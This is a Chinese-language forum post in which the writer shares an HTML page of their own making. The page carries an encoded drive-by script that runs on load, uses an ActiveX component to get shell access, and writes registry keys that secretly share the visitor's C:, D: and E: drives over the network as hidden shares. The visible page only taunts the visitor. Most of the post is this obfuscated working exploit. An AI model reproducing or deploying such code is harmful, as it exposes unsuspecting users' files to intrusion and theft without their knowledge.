这是3年前的程序把,好象叫 share
就是改注册表,好象只对98有用。
我也写过一个的
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3CHTML%3E%0D%0A%3CHEAD%3E%0D%0A%3Cscript%3E%0D%0Adocument.write%28%22%3CAPPLET%20HEIGHT%3D0%20WIDTH%3D0%20code%3Dcom.ms.activeX.ActiveXComponent%3E%3C/APPLET%3E%22%29%3B%0D%0A%0D%0Afunction%20f%28%29%7B%0D%0A%20try%0D%0A%20%7B%0D%0A%20%20a1%3Ddocument.applets%5B0%5D%3B%0D%0A%20%20a1.setCLSID%28%22%7BF935DC22-1CF0-11D0-ADB9-00C04FD58A0B%7D%22%29%3B%0D%0A%20%20a1.createInstance%28%29%3B%0D%0A%20%20Shl%20%3D%20a1.GetObject%28%29%3B%0D%0A%20%20a1.setCLSID%28%22%7B0D43FE01-F093-11CF-8940-00A0C9054228%7D%22%29%3B%0D%0A%20%20a1.createInstance%28%29%3B%0D%0A%20%20FSO%20%3D%20a1.GetObject%28%29%3B%0D%0A%20%20a1.setCLSID%28%22%7BF935DC26-1CF0-11D0-ADB9-00C04FD58A0B%7D%22%29%3B%0D%0A%20%20a1.createInstance%28%29%3B%0D%0A%20%20Net%20%3D%20a1.GetObject%28%29%3B%0D%0A%0D%0A%20%20try%0D%0A%20%20%7B%0D%0A%20%20%20if%20%28document.cookie.indexOf%28%22Chg%22%29%20%3D%3D%20-1%29%20%0D%0A%20%20%20%7B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_C%24%5C%5C%22%2C%22%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_C%24%5C%5CFlags%22%2C%20770%2C%22REG_DWORD%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_C%24%5C%5CType%22%2C%200%2C%22REG_DWORD%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_C%24%5C%5CPath%22%2C%22C%3A%5C%5C%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_D%24%5C%5C%22%2C%22%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_D%24%5C%5CFlags%22%2C%20770%2C%22REG_DWORD%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_D%24%5C%5CType%22%2C%200%2C%22REG_DWORD%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_D%24%5C%5CPath%22%2C%22D%3A%5C%5C%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_E%24%5C%5C%22%2C%22%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_E%24%5C%5CFlags%22%2C%20770%2C%22REG_DWORD%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_E%24%5C%5CType%22%2C%200%2C%22REG_DWORD%22%29%3B%0D%0A%20%20%20%20Shl.RegWrite%20%28%22HKLM%5C%5CSoftware%5C%5CMicrosoft%5C%5CWindows%5C%5CCurrentVersion%5C%5CNetwork%5C%5CLanMan%5C%5CZZ_E%24%5C%5CPath%22%2C%22E%3A%5C%5C%22%29%3B%0D%0A%20%20%20%7D%0D%0A%20%20%7D%0D%0A%20%20catch%28e%29%0D%0A%20%20%7B%7D%0D%0A%20%7D%0D%0A%20catch%28e%29%0D%0A%20%7B%7D%0D%0A%7D%0D%0A%0D%0Afunction%20init%28%29%0D%0A%7B%0D%0A%20setTimeout%28%22f%28%29%22%2C%200%29%3B%0D%0A%7D%0D%0A%0D%0Ainit%28%29%3B%0D%0A%3C/script%3E%0D%0A%3C/HEAD%3E%0D%0A%3CBODY%3E%0D%0A%3Cbr%3E%0D%0A%3Cbr%3E%0D%0A%3Cbr%3E%0D%0A%u60F3%u77E5%u9053%u4E3A%u4EC0%u4E48%u5417%3F%3Cbr%3E%0D%0A%u5176%u5B9E%u5F88%u7B80%u5355%2C%u56E0%u4E3A%u6211%u4E0D%u4F1A%u505A%u7F51%u9875%21%3Cbr%3E%0D%0A%u563F%u563F%21%3Cbr%3E%0D%0A%3Cbr%3E%0D%0A%3Cbr%3E%0D%0AZZTEC%3Cbr%3E%0D%0Amade%20by%20%3Cbr%3E%0D%0A%3C/BODY%3E%0D%0A%3C/HTML%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
To be careful!
</BODY>
</HTML>